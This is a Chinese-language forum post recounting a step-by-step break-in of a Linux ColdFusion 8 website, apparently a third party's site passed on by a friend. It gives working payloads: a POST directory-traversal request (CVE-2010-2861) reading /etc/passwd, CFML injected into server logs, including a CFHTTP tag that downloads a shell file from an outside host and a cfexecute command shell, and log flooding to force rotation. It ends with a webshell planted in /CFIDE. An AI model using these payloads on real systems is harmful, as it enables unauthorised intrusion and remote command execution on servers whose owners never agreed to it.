一次Coldfusion艰难渗透检测

2013-05-05 12:22:35 103 4467 13
写在前面的话:
这篇文章写于去年9月份,但国内貌似研究coldfusion的不多,就一直压在硬盘里,只给几个朋友看过,最近看坛子里有人发coldfusion的东西,就发出来,权当抛砖引玉了
文章比较长,木办法,我就是比较罗嗦,见谅了……
本来打算直接放个pdf附件的,不过我自己也很讨厌别人放附件,就还是贴上来了

背景:
朋友丢来一站,说比较奇葩,linux+coldfusion的,存在CFIDE目录,但是访问administrator目录下的文件时就直接跳首页,问我看看有什么办法

0x01 初步情况判断

首先尝试访问了下/CFIDE/install.cfm,存在的。可以判断版本在9以下,因为9开始没有install.cfm页面。然后尝试访问了/CFIDE/multiservermonitor-access-policy.xml,存在,可以确定版本为8。因为multiservermonitor-access-policy.xml 在8才开始出现。

现在的情况是只有一个install.cfm,访问不到后台。根据CVE-2010-2861
说明,install.cfm也存在directory traversal漏洞,但是用get方式尝试在install.cfm后面加?locale=../../../../../../../../../../etc/passwd%00en并没有成功。
Install.cfm页面在6、7、8中都存在,而且长的都一样,不过源码都被官方加密了。但是cf6的页面是可以被cfdecrypt解密的,于是解密coldfusion6的install.cfm查看源码,看到如下关键语句:
if( IsDefined("FORM.locale") ) 
                { request.locale = LCase(Trim(FORM.locale)); }
        request.localeFile = "resources/cfadmin_#request.locale#.xml";
注意到FORM.locale,可以判断这里触发漏洞需要用post参数的形式,于是用burp suite 构造一个post数据包:


提交后成功读取/etc/passwd文件,看来漏洞存在。尝试读取password.properties文件,发现不是在默认的/opt/coldfusion8/lib目录下,应该是管理员安装coldfusion8时自定义了安装目录。于是读取coldfusion启动脚本/etc/init.d/coldfusion_8:
PATH=/usr/xpg4/bin:/bin:/sbin:/usr/bin:/usr/sbin:$PATH
CONNECTOR=""
RUNTIME_USER=""nobody""
JAVA_HOME="/home/coldfusion/runtime/jre"
JAVA_EXECUTABLE="/home/coldfusion/runtime/jre/bin/java"
DOCROOT="/home/coldfusion/wwwroot"
CF_DIR="/home/coldfusion"   
IS_RUNNING="false"
IS_MAC="false"
自定义目录在/home/coldfusion,而且coldfusion是以nobody的身份启动的。Coldfusion8 默认安装的账号就是nobody,看来管理员应该没有对它的权限做过调整。

0x02 鸡肋的Fckeditor

既然是coldfusion8 ,就想看看fckeditor是否还存在,于是找了个test.html回来,改了下connector的地址:
Connector:<br />
<select id="cmbConnector" name="cmbConnector">       
<option value="http://www.twi1ight.org/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/connector.cfm">ColdFusion</option>
</select>
结果尝试获取文件夹时就出错了,默认在第一次进行这个操作时,会新建/userfiles/file这个目录。结果没有权限新建目录,尝试上传文件,还是一样的提示。


记得之前搞某个coldfusion8 的时候出现过另一种情况,当时也是利用fckeditor,用burp suite提交的截断上传的数据包,结果说文件不能从一个什么tmp目录move到/userfiles/file目录。也就是说这里fckeditor上传的机制应该是先把文件上传到一个coldfusion定义的tmp目录,然后再move到/userfiles/file目录

于是我打算本地搭建环境测试一下具体是什么情况。用install.cfm包含/etc/issue文件查看服务器的版本,结果发现被管理员更改了,显示这是什么鸟公司的私有系统,禁止作为其他用途balabala……于是改而包含/etc/redhat-release文件,发现是redhat 5.8,于是下载一个iso,然后去找了个coldfusion 8的安装文件回来,本地搭建了一个模拟的环境。
搭好后测试了一下本地的fckeditor,发现和目标是一样的情况,nobody用户没法在web根目录新建目录,看来是没办法通过这个上传来拿shell了。但是coldfusion对于上传的处理过程和我预想的是一样的,是先把文件存放到一个temp目录里面,然后再进行move。上传的文件存放的临时目录默认是/opt/coldfusion8/runtime/servers/coldfusion/SERVER-INF/temp/wwwroot-tmp/
我发现一个有趣的现象,默认没有新建文件夹的权限,所以move不成功,然而上传文件到临时目录那个步骤却是成功的!!!就是说虽然我并没有把文件上传到/userfiles/file目录,但是文件已经传到服务器了,只是存在于/opt/coldfusion8/runtime/servers/coldfusion/SERVER-INF/temp/wwwroot-tmp/这个临时目录而已。

0x03 尝试包含上传文件

之前网上流传过包含本地日志获取shell,是把代码注入到日志里面,然后包含日志,因为被包含文件是被当做cfml代码解析的,所以就执行了注入到日志里的代码,从而获取到了shell。注入代码到日志里比较不容易控制,apache日志会转义特殊字符如< >之类的。既然我能上传文件到临时目录,我何不包含这个目录里的文件呢,这比包含日志的可控性强多了。

于是我转而包含临时目录文件,在这里我卡了很久,我在本地测试包含wwwroot-tmp这个目录的文件时不成功,然后依次往上包含,最后发现在/opt/coldfusion8/runtime/servers/coldfusion/目录下的文件是可以成功包含的,/opt/coldfusion8/runtime/servers/coldfusion/SERVER-INF目录则不行。很奇怪,我一开始以为是文件目录太深导致不能成功,于是我新建了一个目录/1/2/3/4/5/6 ,6级子目录和SERVER-INF层数一样,在里面放一个文件后测试包含,结果成功了……看来不是目录层数问题,转而继续观察/opt/coldfusion8/runtime/servers/coldfusion/SERVER-INF这个目录的特点,想了很久,最后终于在马桶上想明白了……大小写问题! 只有SERVER-INF这个目录是大写的,于是测试/1/2/3/4/5/6/ABC目录,果然不成功,/1/2/3/4/5/6/abc却是成功的!
于是乎再去看漏洞触发代码,发现确实是大小写问题:
request.locale = LCase(Trim(FORM.locale));
LCase这个函数把提交的参数都转换成小写了……汗!不仔细啊!浪费了N久的时间。
看来包含上传文件这条路是不通了,这样一来只剩下最后一条通过包含日志拿shell的路了。

0x04 包含日志 第一弹

根据http://www.2cto.com/Article/201112/115647.html,先访问一个不存在的页面,不过页面路径包含cfml的代码,具体URL如下:
http://www.twi1ight.com/index.cfm?action=<CFHTTP  METHOD=Get  URL=#URL.u# PATH=#URL.p#  FILE=#URL.f#>
这段代码的意思是使用get方法访问u并把内容写入到p路径下的f文件中,u、p、f这3个参数是用get参数的方式提供的。当需要触发这个漏洞来获取shell时,只需要访问如下URL就行了:
http://www.twi1ight.com /index.cfm?action=..\..\..\CFusionMX7\logs\application.log%00&u=http://www.pentest.cc/shell.txt&p=c:\inetpub\wwwroot\&f=shell.cfm
这样就会下载一个shell.cfm在c:\inetpub\wwwroot\目录。
但是我本地测试的时候是有问题的,要把#换成URL编码的%23才行,不然日志就只记录了一半,然后访问http://www.twi1ight.com/index.cfm?action=<CFHTTP  METHOD=Get  URL=%23URL.u%23 PATH=%23URL.p%23  FILE=%23URL.f%23>
再去查看apache的日志,发现特殊字符# < >在里面全部被转义了:
192.168.1.101 - - [24/Sep/2012:20:10:20 +0800] "GET /favicon.ico HTTP/1.1" 404 288 "http://192.168.1.112/index.cfm?action=%3CCFHTTP%20%20METHOD=Get%20%20URL=%23URL.u%23%20PATH=%23URL.p%23%20%20FILE=%23URL.f%23%3E" "Opera/9.80 (Windows NT 6.1; U; Edition IBIS; zh-cn) Presto/2.10.229 Version/11.61"
这样子根本没法用啊。
Apache日志的路走不通了,只能另想办法。我记得coldfusion的貌似有自己的日志系统,因为后台有看到过Logging Settings之类的,赶紧找了下,发现在安装目录下的logs文件夹里面有访问日志记录。有几个文件:application.log  exception.log  cfserver.log  server.log  eventgateway.log。然后我在application.log和exception.log里面找到了访问的记录,不过貌似coldfusion对于404错误只记录了错误页面,并没有记录参数,application.log的记录形式是这样的:
"Error","jrpp-110","09/24/12","20:10:20",,"File not found: /index.cfm The specific sequence of files included or processed is: /var/www/html/index.cfm'' "
"Error","jrpp-1101","09/24/12","20:10:20",,"File not found: /index.cfm The specific sequence of files included or processed is: /var/www/html/index.cfm'' "

Exception.log的记录形式则是这样的:


  既然只记录文件名,那我就构造了这样一个这样的URL:
  http://www.twi1ight.org/ind<CFHTTP  METHOD=Get  URL=%23URL.u%23 PATH=%23URL.p%23  FILE=%23URL.f%23>
  但是这样的访问并没有触发coldfusion的日志,而是显示的apache的404错误,分析了下,应该是这个URL不含有CFM后缀,所以完全被apache处理了,并没有提交到coldfusion。于是我在后面加了个.cfm变成了http://www.twi1ight.org/ind<CFHTTP  METHOD=Get  URL=%23URL.u%23 PATH=%23URL.p%23  FILE=%23URL.f%23>.cfm,本地测试了一下,发现中奖了!!! Coldfusion记录日志是不转义的:
"Error","jrpp-117","09/24/12","20:27:53",,"File not found: /ind&lt;CFHTTP  METHOD=Get  URL=#URL.u# PATH=#URL.p#  FILE=#URL.f#&gt;.cfm The specific sequence of files included or processed is: /var/www/html/ind<CFHTTP  METHOD=Get  URL=#URL.u# PATH=#URL.p#  FILE=#URL.f#>.cfm'' "
当我准备利用的时候发现悲剧了,那篇文章是用GET方式触发的漏洞,我这里是POST方式啊。没办法,死马当活马医,尝试在URL上面加参数,构成如下的数据包:


还是行不通,触发不了下载。只能修改注入代码了,幸亏这是本地测试,不然就玩脱了。
然后我把代码改了下,改成了<CFHTTP  METHOD=Get  URL=#FORM.u# PATH=#FORM.p#  FILE=#FORM.f#>,再把coldfusion的日志清空掉,重新测试一遍,这次的触发数据包变成了:


  终于是下载成功了……
  接下来我开始在目标上面测试,按照本地的步骤重复一遍,但是没有成功,我在挂shell的那个服务器上的web日志里面没有看到访问请求。包含服务器上下载后的shell文件也没有……一开始我以为可能服务器不能访问到我那台挂shell的肉鸡,然后我提交google的地址过去,还是没有成功。我又测了几遍,域名,IP各种形式的地址都试过,没有一个成功的。不会吧,难道服务器不允许访问外网么。。。那不是悲剧了!
  没办法,只能再注入一段别的代码试试看了,既然不能下载,那我注入一个小型的命令执行shell好了,如果能成功,我大不了一句句代码echo一个webshell出来。
  于是参照cfexecute的帮助http://livedocs.adobe.com/coldfu ... nt=Tags_d-e_18.html
  我构造了一个执行命令的小型shell,代码如下:
<cfexecute name=#FORM.name# arguments=#FORM.arg# outputfile=#FORM.file# timeout=#form.time#></cfexecute>
这样我只要POST提交参数就能执行命令了,本地测试了一下,单独一个文件包含上述代码时是可以成功执行命令的。
具体测试过程如下:
     在服务器上新建一个文件s.txt里面包含上述代码,然后POST数据包:


  这个数据包的意思是用sh来解析命令“id”,然后将结果输出到/tmp/out.txt中,命令超时时间为20s,然后POST数据包查看/tmp/out.txt,命令执行成功


  于是赶紧拿过去注入到日志里面进行测试,这里因为要模拟目标站的情况,所以我并没有清空日志,而是保留了之前注入的那个代码的。然后……发现悲剧了…… 可能是因为上一次注入的代码的原因,注入到日志后不能用了。于是我在s.txt里面把前面注入的代码加上。s.txt变成了:
  <CFHTTP  METHOD=Get  URL=#FORM.u# PATH=#FORM.p#  FILE=#FORM.f#>
  <cfexecute name=#FORM.name# arguments=#FORM.arg# outputfile=#FORM.file# timeout=#form.time#></cfexecute>
包含s.txt执行命令,果然不成功,看来日志注入是一次性的,一次如果不成功,就不能插入第二次了,彻底悲剧了……

0x05 包含日志 第二弹
  第二天,还是不甘心。继续翻翻coldfusion后台,看还有没有什么利用的地方。但是找来找去我现在能访问的只有一个install.cfm,目标站后台的功能全部没有办法访问啊。
  无聊间偶然在日志设定里面发现了日志最大大小的设定:


默认最大5000k,我就想,如果超过5000k会怎样呢? 网上查询了一下,发现超过5000k,就会把这个日志归档,名字后面加.x,x是数字,如exception.log归档为exception.log.1,然后是exeption.log.2一次类推,最多到10,也就是图里面的Maximum number of archives。归档后会再新建一个空白日志,继续记录。有了!!!归档后会新建一个空白日志,也就是说我只要能让它的日志爆棚,等当前日志被归档后又能继续注入代码了!
  让它日志爆棚这个最简单不过了,我一直访问不存在的页面就会留下日志,而且最好访问一个名字超长的页面,这样就能多占些空间,不过貌似URL最长是256个字符。做这种事手头的工具里面最好的是Burp suite了,直接构造一个Intruder,Attack Type就选sniper,payload位置随便,这里加在URL最后了,payloads就选numbers好了,先在本地测试了100个,具体如图:



  发现application.log的大小变化的比较慢,但是exception.log变化的非常快,因为根据前文,它一条出错记录有很多的java异常提醒。Application.log和exception.log里面都会记录注入的代码,所以我这里就选择exception.log作为攻击的对象,我从exception.log里面复制出来一个单独的请求,保存为txt文档,查看大小为2500 bytes多点,也就是差不多2.5k,然后日志最大为5000K,也就是说我大概发2000个这样的数据包可以导致一个空白的exception.log归档,因为我不知道目标站的exception.log现在是多大,只能慢慢测试,所以我每次测试发送300个数据包,在我发送了1200个数据包时,我终于又能成功的包含的日志的内容了(因为之前日志插入过代码,然后包含时日志的内容就不显示了……),也就是说日志已经被归档过一次,但是有点奇怪的就是,我发送的数据包URL后面的数字是连续的,但是从日志里看,是断断续续的,xxx200.cfm 然后就是xxxx203.cfm  再就是xxxx205.cfm这样……我从Intruder的窗口查看其中丢失的几个记录却有返回信息的,和其他正常的请求一样,奇怪!不管这个问题,我继续注入shell的代码到日志,然后用burp suite提交数据执行命令,这次终于成功了!!!终于能正常执行命令了,但是每次还是要多提交几次才行,有点奇怪,网络应该是没有问题的。
  接下来,我用之前的鸡肋fckeditor上传菜刀的cfm服务端webshell到临时目录,然后想用日志里的shell把文件move到网站的目录里面,这样就拿到webshell了。
  这里再次卡住……网站的根目录之前已经说过,nobody用户没有权限新建文件夹和文件,也就是说我没法move过去……杯具。
  停下来仔细想了下,网站目录没有权限,这样那边是过不去的。有个CFIDE目录,这个是coldfusion默认安装的目录,应该是属于nobody用户的,那应该有权限新建文件吧,然后我就ls -l 看了下CFIDE目录的上层目录,发现CFIDE果然是属于nobody的,直接把上传的shell从临时目录move到了/CFIDE目录,访问之,OK!
      收工!

  后记:
  我后来用菜刀连接时,发现有时候能用,有时候又显示404,顿时明白了之前那么多奇怪的地方。这尼玛不是负载均衡、DNS轮询之类的玩意么……难怪之前exception.log里面的数字是断断续续的,因为断掉的那些是到另外的服务器上了。难怪执行命令要好几次才能成功,因为失败的那些请求是被定向到了没有注入代码的那个服务器上。不过我用fckeditor上传菜刀shell的时候只上传了一次,居然刚好传到了我注入代码成功的这台服务器上,人品真好,不然估计我又得搞很久才能搞明白了

关于作者

评论103次

要评论?请先  登录  或  注册